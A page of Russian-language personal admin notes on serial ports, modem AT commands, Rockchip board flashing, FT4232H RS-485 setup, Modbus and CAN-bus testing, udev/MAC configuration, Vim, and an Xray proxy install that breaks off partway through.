test
|
1 2 3 |
stty -F /dev/ttyUSB0 9600 raw -echo -echoe -echok -echoctl -echoke cat /dev/ttyUSB0 while : ; do echo -n "TEST123" > /dev/ttyUSB0 ; sleep 1 ; done |
info, setup, debian, centos, ubuntu
test
|
1 2 3 |
stty -F /dev/ttyUSB0 9600 raw -echo -echoe -echok -echoctl -echoke cat /dev/ttyUSB0 while : ; do echo -n "TEST123" > /dev/ttyUSB0 ; sleep 1 ; done |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# Поиск usb устройств lsubs lsusb -d 1e0e:9001 lsusb -v 1e0e:9001 dmesg | grep usb # Перенаправляем ответ из порта в фоновое чтение cat /dev/ttyUSB2 & # Отправляем команду AT (проверка связи) echo -e "AT\r" > /dev/ttyUSB2 # Отправляем команду получения информации о модели echo -e "ATI\r" > /dev/ttyUSB2 Для работы с модемом SIMCom в Linux интерфейсы обычно распределяются следующим образом: Интерфейс Назначение Для чего используется ttyUSB1 Audio Передача цифрового звука (в обычных сценариях не нужен). ttyUSB2 AT-команды Основной порт для опроса модема, проверки баланса, отправки SMS и ввода команд. ttyUSB3 Диагностика (Diag) Используется сервисными утилитами Qualcomm (например, QPST) для прошивки и калибровки. ttyUSB4 Модемный порт / NMEA Вывод GPS/ГЛОНАСС логов (если включена навигация) или резервный канал. |
Скрипт теста модема:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
root@napi2:/etc/network/interfaces.d# cat 1.txt PORT=/dev/ttyUSB2 stty -F $PORT 115200 raw -echo # выключаем эхо команд echo -e 'ATE0\r' > $PORT; sleep 0.3 # читаем порт в фоне cat $PORT & CAT=$! sleep 0.3 for CMD in "ATI" "AT+CPIN?" "AT+CSQ" "AT+CREG?" "AT+COPS?" "AT+CGMM" "AT+CGMI" "AT+CGDCONT?"; do echo -e "${CMD}\r" > $PORT sleep 0.5 done sleep 1 kill $CAT 2>/dev/null |
Set APN:
|
1 2 3 4 5 6 7 8 9 10 |
PORT=/dev/ttyUSB2 stty -F $PORT 115200 raw -echo cat $PORT & CAT=$! sleep 0.2 echo -e 'AT+CGDCONT=1,"IP","internet.tele2.ru"\r' > $PORT; sleep 0.5 echo -e 'AT+CGDCONT?\r' > $PORT; sleep 0.5 echo -e 'AT+CGACT=1,1\r' > $PORT; sleep 2 echo -e 'AT+CGPADDR=1\r' > $PORT; sleep 0.5 kill $CAT |
Check interface:
|
1 |
ip -br a |
If RNDIS/wwan0 exists:
|
1 2 |
ip link set wwan0 up dhcpcd wwan0 |
Запрос номера
|
1 2 3 4 5 6 7 8 |
PORT=/dev/ttyUSB2 stty -F $PORT 115200 raw -echo 2>/dev/null cat $PORT & CAT=$!; sleep 0.2 echo -e 'ATE0\r' > $PORT; sleep 0.2 echo -e 'AT+CNUM\r' > $PORT; sleep 1 kill $CAT 2>/dev/null |
Отправка sms:
|
1 2 3 |
echo -e 'AT+CMGF=1\r' > /dev/ttyUSB2; sleep 0.3 echo -e 'AT+CMGS="+7XXXXXXXXXX"\r' > /dev/ttyUSB2; sleep 0.5 echo -e 'test\x1A' > /dev/ttyUSB2; sleep 3 |
Узнать номер:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
tmux В одном окне: cat /dev/ttyUSB2 Во втором: echo -e 'AT+CUSD=1,"*100#",15\r' > /dev/ttyUSB2; sleep 3 Например ответ: +CUSD: 0,"04230441043B0443043304300020043D04350434043E044104420443043F043D0430002E",72 закодирован в UCS2 (UTF-16BE) 0423 0441 043B 0443 0433 0430 0020 043D 0435 0434 043E 0441 0442 0443 043F 043D 0430 002E У с л у г а ␣ н е д о с т у п н а . |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
софт: сайт: https://napiworld.ru/docs/computers/napi2/ https://rkdevtool.com/rock-file/ образ bootloader: https://dl.radxa.com/rock3/images/loader/rk356x_spl_loader_ddr1056_v1.12.109_no_check_todly.bin napi2: https://download.napilinux.ru/linuximg/napi2/armbian-ditrib/vendor/ 0. Выключить плату и отключить БП и скачать образы и установить софт rkdevtool 1. Воткнуть в синий порт USB3.0 кабель папа-папа (на лицевой стороне где все порты hdmi, сеть и т.д.) 2. По желанию на несушке есть консоль uart ( понадобится кабель type-c) 3. Нажать кнопку максрома (рядом со слотом сдкарты на плате напи2) 4. Воткнуть кабель type-c (рядом с USB3.0) (отуда будет подано питание) 6. Отпустить кнопку 7. Проверяем обнаружение напи rkdevtool ld буквы циферы и в конце фраза Maskrom 8. зашиваем лодер rkdeveloptool db rk356x_spl_loader_ddr1056_v1.12.109_no_check_todly.bin 9. Зашиваем прошивку rkdeveloptool wl 0 Тут_имя_распаковоной_прошивки.img |
FT4232H
|
1 2 3 4 5 6 7 |
FT4232H переключить в режим MODBUS 485 https://manpages.debian.org/testing/ftdi-eeprom/ftdi_eeprom.1.en.html https://netcup-03.armbian.com/dl/rockpi-s/archive/Armbian_26.2.1_Rockpi-s_trixie_current_6.18.9_minimal.img.xz PID 6011 = FT4232H в режиме Quad UART (4 последовательных порта) PID 6014 = FT4232H в режиме Quad UART/FIFO (с поддержкой дополнительных режимов) |
napic arbian
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
0. Дистрибутив: Armbian_26.2.1_Rockpi-s_trixie_current_6.18.9_minimal 1. Оверлеи: /boot/armbianEnv.txt overlays=otg-host 2. Костюмные оверлеи от напи: команда для добавления: armbian-add-overlay <файл.dts> инструкция: https://napiworld.ru/recipes/armbian-tuning/ где брать файлы: https://gitlab.nnz-ipc.net/pub/napilinux/kernel/-/tree/linux6.6/arch/arm64/boot/dts/rockchip/overlay 3. Необходимый софт установка: apt update apt install libftdi1-2 libftdi-dev ftdi-eeprom gcc libftdi1-dev libftdi1 libudev-dev 4. Проверка usb: lsusb lsusb -v -d 0403:6011 | grep -i "serial\|product" Выгрузка модулей если требуется: rmmod ftdi_sio rmmod usbserial 5. ДОКИ /usr/share/doc/ftdi-eeprom/examples/ zcat /usr/share/doc/ftdi-eeprom/example.conf.gz 6. Пример конфигурационный файл для прошивки FT4232 в режиме MODBUS 485: cat > ft4232h.conf << EOF # Имя файла, содержащий образ EEPROM, который будет создан filename=test.bin # Идентификатор производителя. Для FT4232H значение по умолчанию: 0x0403 vendor_id=0x0403 # Идентификатор продукта. Для FT4232H значение по умолчанию: 0x6011 product_id=0x6011 # Тип EEPROM микросхемы. 0x46 для 93xx46, 0x56 для 93xx56 и 0x66 для 93xx66 #eeprom_type=0x46 eeprom_type=0x56 manufacturer="lablab2" product="Quad RS485" serial="1234" # Разрешить использование серийного номера use_serial=true # Ограничение по потреблению микросхемы: (значение параметра) * 2 мА. Значение параметра # должно быть равно 0, когда self_powered=true #max_power=0 #max_power=500 # Микросхема питается не от USB, а от собственного источника питания #self_powered=true #self_powered=false # Если на линии RI логический 0 и значение параметра равно true, то хост контроллер USB # выйдет из режима ожидания примерно через 20 мс. # remote_wakeup=false #remote_wakeup=true # Задать режим работы порта # # "UART", "FIFO", "OPTO", "CPU", "FT1284" #cha_type=UART #chb_type=FIFO #chc_type=OPTO #chd_type=CPU # Использовать драйвер виртуального com-порта #cha_vcp=true #chb_vcp=true #chc_vcp=true #chd_vcp=true # Разрешить режим RS-485 #cha_rs485=true #chb_rs485=true #chc_rs485=true #chd_rs485=true # Channel A cha_type=UART cha_vcp=true cha_rs485=true #cbush0 = TXDEN # Channel B chb_type=UART chb_vcp=true chb_rs485=true # Channel C #chc_type=UART chc_vcp=true chc_rs485=true #CDBUS7=TXDEN # Channel D #chd_type=UART chd_vcp=true chd_rs485=true #DDBUS7=TXDEN # Управление направлением (TXDEN) # invert_txd = true EOF 7. Работа с прошивкой ft4232 Зашить: ftdi_eeprom --flash-eeprom ft4232h.conf прочитать: ftdi_eeprom --read-eeprom ft4232h.conf |
Сборка libftdi
|
1 2 3 4 5 6 7 8 9 |
Собирем сам соберется, но тут 0.17 :( cd /opt git clone https://github.com/lipro/libftdi cd libftdi mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX="/usr" ../ make make install |
Собираем с сайта libftdi
|
1 2 3 4 5 6 7 8 9 10 11 |
###https://www.intra2net.com/en/developer/libftdi/download.php ###Requirements and dependencies ###libusb 1.0 - Library for talking to USB devices from user-space. Needed by libftdi. ###libconfuse - Library for parsing configuration files. Needed by ftdi_eeprom. ### wget https://www.intra2net.com/en/developer/libftdi/download/libftdi1-1.5.tar.bz2 mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX="/usr" ../ make make install |
Питон скрипт для тестов:
|
1 |
Python env:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
0. Установите пакеты: apt update && apt install python3-venv python3-full -y 1. Создайте виртуальное окружение (например, в папке myenv): python3 -m venv myenv 2. Активируйте его: source myenv/bin/activate 3. Установите библиотеку: pip install minimalmodbus 4. Пере использование окружения: cd /root/myenv source /root/myenv/bin/activate Запуск python read_modbus.py |
Python скрипты для тестов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 |
cat > 1.txt << "EOF" import minimalmodbus import serial # Настройка порта instrument = minimalmodbus.Instrument('/dev/ttyUSB0', slaveaddress=1) instrument.serial.baudrate = 9600 instrument.serial.bytesize = 8 instrument.serial.parity = serial.PARITY_NONE instrument.serial.stopbits = 1 instrument.serial.timeout = 1.0 # Самая важная строчка для FTDI под Linux: # Драйвер очистит входной буфер от эха сразу после отправки запроса instrument.serial.flushInput() try: # Читаем 1 регистр (holding) с адреса 769 (в mbpoll это -r 769 -t 4) # minimalmodbus использует адресацию от 0, поэтому проверяем 769 или 768 в зависимости от карты регистров устройства value = instrument.read_register(769, functioncode=3) print(f"Значение регистра: {value}") except Exception as e: print(f"Ошибка чтения: {e}") EOF python 1.txt cat > 2.txt << "EOF" import serial import time # Настройки порта ser = serial.Serial( port='/dev/ttyUSB0', baudrate=9600, bytesize=8, parity='N', stopbits=1, timeout=1.0 ) # Формируем запрос Modbus RTU (тот самый, что слал mbpoll) # Чтение 1 регистра с адреса 769 (0x0301) для устройства 1 request = b'\x01\x03\x03\x00\x00\x01\x84\x4E' # Очищаем буферы ser.reset_input_buffer() ser.reset_output_buffer() # Отправляем запрос ser.write(request) ser.flush() # Ждем ответа и вычитываем порцию (запрос занял время, плюс ответ) time.sleep(0.1) # Читаем сырые данные raw_response = ser.read(ser.in_waiting) print(f"Сырой ответ из порта: {raw_response}") # Отсекаем эхо, если оно есть (ищем начало нашего ответа с адреса \x01) # Если устройство вернуло 7 байт, как в ошибке: if len(raw_response) >= 7: # Если в начале висит эхо запроса (8 байт), отрезаем его if raw_response.startswith(request): response = raw_response[len(request):] else: response = raw_response print(f"Пакет после отсечения эха: {response}") if len(response) >= 7: # Извлекаем данные из 4-го и 5-го байта (индексы 3 и 4) high_byte = response[3] low_byte = response[4] value = (high_byte << 8) + low_byte print(f"🎉 Успешно! Значение регистра: {value}") else: print("Не удалось получить полный ответ от устройства.") ser.close() EOF python 2.txt cat > rs485.py << "EOF" import os import fcntl import struct import sys TIOCGRS485 = 0x542E TIOCSRS485 = 0x542F SER_RS485_ENABLED = 0x01 SER_RS485_RX_DURING_TX = 0x08 def set_rs485(port, enable=True): fd = os.open(port, os.O_RDWR | os.O_NOCTTY) try: # Читаем текущие настройки buf = fcntl.ioctl(fd, TIOCGRS485, struct.pack('8I', 0,0,0,0,0,0,0,0)) flags = struct.unpack('8I', buf)[0] if enable: flags |= SER_RS485_ENABLED flags &= ~SER_RS485_RX_DURING_TX else: flags &= ~SER_RS485_ENABLED fcntl.ioctl(fd, TIOCSRS485, struct.pack('8I', flags, 0,0,0,0,0,0,0)) finally: os.close(fd) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python rs485.py /dev/ttyUSB0") sys.exit(1) set_rs485(sys.argv[1], True) EOF python3 rs485.py /dev/ttyUSB0 python3 rs485.py /dev/ttyUSB1 python3 rs485.py /dev/ttyUSB2 python3 rs485.py /dev/ttyUSB3 |
mbpoll и modpoll:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
0. датчик: holding (output) регистры: 768 температура * 10 796 влажность *10 ID, по умолчанию 1. Как изменить пока не ясно. 13 скорость, по умолчанию 3 - 9600 14 чётность, по умолчанию 0 - NONE 1279 коррекция температуры 1280 коррекция влажности В некоторых сниферах и OPC серверах надо указывать адрес на 1 больше. 1. Пример команд: mbpoll -m rtu -a 1 -r 769 -c 1 -t 4 -b 9600 -P none -v /dev/ttyUSB0 modpoll -b 9600 -p none -m rtu -a 1 -r 769 -c 1 -t 4 -1 /dev/ttyUSB1 for i in 0 1 2 3 ; do modpoll -b 9600 -p none -m rtu -a 1 -r 769 -c 1 -t 4 -1 /dev/ttyUSB$i sleep 2 done for port in 0 1 2 3 ; do for reg in 768 796 1279 1280 ; do modpoll -b 9600 -p none -m rtu -a 1 -r $reg -t 4 -c 1 -1 /dev/ttyUSB$port sleep 1 done done screen /dev/ttyUSB0 9600 cs8 -parenb -cstopb stty -F /dev/ttyUSB0 9600 raw -echo; cat /dev/ttyUSB0 socat -d -d OPEN:/dev/ttyUSB0,b9600,rawer,echo=0 SYSTEM:'tee /tmp/tty.log | socat - "OPEN:/dev/ttyUSB0,b9600,rawer,echo=0"' 2. Тесты: while true; do echo "x" > /dev/ttyUSB0; sleep 0.1; done 3. Снять блокировку если нужно rm -f /var/lock/LCK..ttyUSB0 |
Link:
|
1 2 |
https://github.com/WeActStudio/WeActStudio.USB2CANFDV1 https://github.com/zephyrproject-rtos/zephyr/blob/main/boards/weact/usb2canfdv1/doc/index.rst |
Подключение:
|
1 2 3 4 5 6 |
Провода: CANH <> CANH CANL <> CANL GND <> GND Линия: Используйте витую пару. Терминация: Убедитесь, что на обоих концах линии стоят резисторы 120 Ом. |
Установка can-utils в debian
|
1 2 3 4 5 6 7 |
can-utils: Набор консольных утилит для Linux (cansend, candump и др.). Чтобы использовать их, адаптер нужно подключить через драйвер slcan, который создаст сетевой интерфейс slcan0. apt update apt install can-utils |
Еще про подключение can:
|
1 2 3 |
CanH <-> CanP CanL <-> CanR GND <-> GND |
screen
|
1 2 3 4 5 6 7 8 9 10 |
screen /dev/ttyACM0 115200 Все команды должны заканчиваться символом [CR] (Carriage Return), который вы получите, нажав Enter. O — Открыть CAN-канал C — Закрыть CAN-канал S3 — Установить скорость 100 кбит/с (по умолчанию стоит S4 для 125 кбит/с) M0 — Установить обычный режим (по умолчанию) M1 — Установить "тихий" режим (только прием) Выход из screen: Ctrl+A, затем \, и подтвердите y. |
Не обходимые модули ядра:
|
1 2 3 |
modprobe can modprobe can_raw modprobe slcan |
can-utils
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
0. Создание интерфейса с помощью scland slcand -o -s8 -t hw -S 3000000 /dev/ttyACM0 -o - Открыть CAN-канал автоматически -s8 -Установить скорость CAN в 1 Мбит/с -t hw - Использовать аппаратные метки времени -S 3000000 - Установить скорость обмена с адаптером по USB (обычно 921600 или 3000000) /dev/ttyACM0 - Путь к вашему устройству Если вам нужна скорость 500 кбит/с, замените -s8 на -s6 По умолчанию многие CAN-устройства используют 500 кбит/с (код 6) или 125 кбит/с (код 4) 1. Активация интерфейса: ip link set up slcan0 2. Проверка, прослушивание: candump can0 candump can0,123:7FF candump -l can0 3. Отправка сообщений: Синтаксис: cansend <интерфейс> <ID>#<Данные> cansend slcan0 123#DEADBEEF 4. Генерация трафика для тестов cangen can0 cangen can0 -g 0 -p 1 5. Отслеживание изменений cansniffer can0 6. Воспроизведение записанного трафика canplayer -I <файл_лога> slcan0 7. Загруженности вашей CAN-сети canbusload canbusload can0@1000000 -r -t -b -c can0@1000000 – скорость в бит/с (1 000 000). -r – обновление в реальном времени. -t – показывать время. -b – графическая шкала. -c – цвет. 8. Для проверки задержек canfdtest |
can
|
1 2 |
ip link set can0 type can bitrate 500000 ip link set can0 up |
Проверка текущего битрейта
|
1 |
ip -details link show can0 |
Железо:
|
1 2 |
napi slot Microchip Technology, Inc. (formerly SMSC) LAN9500A/LAN9500Ai |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 |
Давайте сопоставим на вашем примере из прошлого вывода lsusb -t: lsusb -t: /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=dwc2/1p, 480M |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/2p, 480M |__ Port 1: Dev 3, If 0, Class=Vendor Specific Class, Driver=smsc95xx, 480M <-- Это ваше устройство? |__ Port 2: Dev 4, If 0, Class=Vendor Specific Class, Driver=smsc95xx, 480M Сравниваем с 1-1.2:1.0: 1 — это Bus 01. 1 — это Port 1 на корневом хабе (первая строка в древовидном выводе). .2 — это Port 2 на внутреннем хабе. :1.0 — это If 0 (первый интерфейс) устройства. Таким образом, 1-1.2:1.0 — это устройство, которое висит на шине 1, порту 1 корневого хаба, порту 2 внутреннего хаба, и использует первый интерфейс. Чтобы найти этот путь для каждого из ваших четырёх адаптеров, выполните: udevadm info -a -p /sys/class/net/eth1 | grep KERNELS вывод: KERNELS=="1-1.2:1.0" Приминение и проверка правил: udevadm control --reload-rules udevadm trigger reboot Отслеживать события udev в реальном времени: udevadm monitor --property Проверка какое правило сработает на интерфейс: udevadm test /sys/class/net/eth1 Получить информацию об устройстве udevadm info -a -p /sys/class/net/eth1 -a — показать все атрибуты. -p — указать путь в sysfs. /sys/class/net/eth1 — путь к сетевому интерфейсу. В выводе вы увидите несколько секций, начинающихся с looking at parent device — это уровни вверх по дереву устройств. Вам нужны атрибуты, по которым можно идентифицировать устройство (например, KERNELS, ATTRS{idVendor}, ATTRS{idProduct}, ATTRS{serial}). Эти атрибуты можно использовать в правилах udev. cat > /etc/udev/rules.d/99-usb-net.rules << "EOF" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="1-1.2:1.0", NAME="usb1" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="1-1.1:1.0", NAME="usb2" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="2-1.1:1.0", NAME="usb4" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="2-1.2:1.0", NAME="usb3" #root@napi-stronghornet:~# lsusb -t #/: Bus 001.Port 001: Dev 001, Class=root_hub, Driver=dwc2/1p, 480M # |__ Port 001: Dev 002, If 0, Class=Hub, Driver=hub/2p, 480M # |__ Port 002: Dev 003, If 0, Class=Vendor Specific Class, Driver=smsc95xx, 480M #/: Bus 002.Port 001: Dev 001, Class=root_hub, Driver=ehci-platform/1p, 480M # |__ Port 001: Dev 002, If 0, Class=Hub, Driver=hub/2p, 480M # |__ Port 001: Dev 003, If 0, Class=Vendor Specific Class, Driver=smsc95xx, 480M # |__ Port 002: Dev 004, If 0, Class=Vendor Specific Class, Driver=smsc95xx, 480M #/: Bus 003.Port 001: Dev 001, Class=root_hub, Driver=ohci-platform/1p, 12M EOF #sw1 #usb1 ethtool -E usb1 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb1 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb1 magic 0x9500 offset 0x02 value 0x11 ethtool -E usb1 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb1 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb1 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb1 magic 0x9500 offset 0x06 value 0x54 #usb2 ethtool -E usb2 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb2 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb2 magic 0x9500 offset 0x02 value 0x11 ethtool -E usb2 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb2 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb2 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb2 magic 0x9500 offset 0x06 value 0x54 #usb4 ethtool -E usb4 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb4 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb4 magic 0x9500 offset 0x02 value 0x11 ethtool -E usb4 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb4 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb4 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb4 magic 0x9500 offset 0x06 value 0x56 #usb3 ethtool -E usb3 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb3 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb3 magic 0x9500 offset 0x02 value 0x11 ethtool -E usb3 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb3 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb3 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb3 magic 0x9500 offset 0x06 value 0x57 #sw2 #usb1 ethtool -E usb1 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb1 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb1 magic 0x9500 offset 0x02 value 0x12 ethtool -E usb1 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb1 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb1 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb1 magic 0x9500 offset 0x06 value 0x74 #usb2 ethtool -E usb2 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb2 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb2 magic 0x9500 offset 0x02 value 0x12 ethtool -E usb2 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb2 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb2 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb2 magic 0x9500 offset 0x06 value 0x74 #usb4 ethtool -E usb4 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb4 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb4 magic 0x9500 offset 0x02 value 0x12 ethtool -E usb4 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb4 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb4 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb4 magic 0x9500 offset 0x06 value 0x76 #usb3 ethtool -E usb3 magic 0x9500 offset 0x00 value 0xA5 ethtool -E usb3 magic 0x9500 offset 0x01 value 0x02 ethtool -E usb3 magic 0x9500 offset 0x02 value 0x12 ethtool -E usb3 magic 0x9500 offset 0x03 value 0x22 ethtool -E usb3 magic 0x9500 offset 0x04 value 0x33 ethtool -E usb3 magic 0x9500 offset 0x05 value 0x44 ethtool -E usb3 magic 0x9500 offset 0x06 value 0x77 проверяем: ls /boot/dtb/rockchip/overlay/*otg-host* добавляем: vim /boot/armbianEnv.txt ------------------------ overlays=otg-host ------------------------ |
Изменение mac через udev:
|
1 2 3 4 5 6 7 8 9 10 |
cat > /etc/udev/rules.d/99-usb-net.rules << "EOF" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="1-1.2:1.0", NAME="usb1", RUN+="/sbin/ip link set dev usb1 address 00:11:22:33:44:66" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="1-1.1:1.0", NAME="usb2", RUN+="/sbin/ip link set dev usb2 address 00:11:22:33:44:57" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="2-1.1:1.0", NAME="usb4", RUN+="/sbin/ip link set dev usb4 address 00:11:22:33:44:58" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="2-1.2:1.0", NAME="usb3", RUN+="/sbin/ip link set dev usb3 address 00:11:22:33:44:59" EOF udevadm control --reload-rules udevadm trigger |
Изменение mac через udev использование софта macchanger:
|
1 2 3 4 5 6 7 8 9 |
cat > /etc/udev/rules.d/99-usb-net.rules << "EOF" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="1-1.2:1.0", NAME="usb1", RUN+="/usr/bin/macchanger -p -r usb1" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="1-1.1:1.0", NAME="usb2", RUN+="/usr/bin/macchanger -p -r usb2" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="2-1.1:1.0", NAME="usb4", RUN+="/usr/bin/macchanger -p -r usb4" SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", KERNELS=="2-1.2:1.0", NAME="usb3", RUN+="/usr/bin/macchanger -p -r usb3" EOF udevadm control --reload-rules udevadm trigger |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
Режимы Vim Esc — вернуться в обычный (нормальный) режим. i — режим вставки (ввод текста перед курсором). a — режим вставки после курсора. v — визуальный режим (выделение текста символами). V — визуальный режим (выделение текста строками). : — режим командной строки. Выход и сохранение (вводятся после :) w — сохранить файл. q — выйти из Vim. q! — выйти без сохранения изменений. wq (или x) — сохранить изменения и выйти. Перемещение курсора h / j / k / l — влево / вниз / вверх / вправо. w / b — на слово вперед / назад. 0 / $ — в начало / конец текущей строки. gg / G — в самое начало / самый конец файла. 50G — перейти строго на 50-ю строку. Редактирование, удаление и копирование x — удалить один символ под курсором. dw — удалить слово от курсора до конца. dd — удалить (вырезать) всю строку. d$ (или D) — удалить текст от курсора до конца строки. yy — скопировать всю строку в буфер. p — вставить скопированный/вырезанный текст после курсора. u — отменить последнее действие (Ctrl+Z). Ctrl + r — вернуть отмененное действие (Ctrl+Y). /текст — поиск текста вперед по файлу. ?текст — поиск текста назад по файлу. n / N — переход к следующему / предыдущему совпадению. :%s/что/на_что/g — заменить все совпадения во всем файле. :%s/шаблон/замена/g — заменить все вхождения во всем файле. :%s/шаблон/замена/gc — заменить во всем файле, но с подтверждением для каждого совпадения. :s/шаблон/замена/g — заменить все вхождения только в текущей строке.:s/шаблон/замена/ — заменить только первое вхождение в текущей строке. :5,12s/шаблон/замена/g — заменить все совпадения в диапазоне от 5 до 12 |
|
1 |
Не актуален 06.06.2026, но еще может поработать. |
0. Установка:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
0. Скачиваем: curl -L https://github.com/XTLS/Xray-core/releases/latest/download/Xray-linux-64.zip -o Xray.zip 1. Распаковываем архив и ставим их unzip Xray.zip -d /usr/local/bin/ 1.1 Создаем каталог для конфигов mkdir -p /usr/local/etc/xray cd /usr/local/etc/xray 2. Делаем исполнительным файл xray исполнительным: chmod +x /usr/local/bin/xray 3. Создаем конфиг: Пример: cat > /usr/local/etc/xray/config.json << EOF { "inbounds": [ { "port": 443, "protocol": "vless", "settings": { "clients": [ { "id": "ВАШ-UUID", "flow": "xtls-rprx-vision" } ], "decryption": "none" }, "streamSettings": { "network": "tcp", "security": "reality", "realitySettings": { "dest": "www.google.com:443", "serverNames": ["www.google.com"], "privateKey": "ВАШ-ПРИВАТНЫЙ-КЛЮЧ", "shortIds": ["ВАШ-SHORTID"] } } } ] } EOF 4. Проверяем, нет ли ошибок в конфиге xray -test -config /usr/local/etc/xray/config.json 5. Делаем системд юнит для запуска: cat > /etc/systemd/system/xray.service << "EOF" [Unit] Description=Xray Service Documentation=https://github.com/xtls After=network.target nss-lookup.target [Service] User=nobody CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE NoNewPrivileges=true ExecStart=/usr/local/bin/xray run -config /usr/local/etc/xray/config.json Restart=on-failure RestartPreventExitStatus=23 LimitNPROC=10000 LimitNOFILE=1000000 [Install] WantedBy=multi-user.target EOF 5.1 Что мы там нагородили в сервисе: User=nobody — служба будет работать от ограниченного пользователя (безопасно) ExecStart=... — указывает, где лежит Xray и ваш конфиг Restart=on-failure — автоматически перезапустится, если что-то пойдёт не так 5.2 Первый запуск и проверка #После создания service-файла нужно 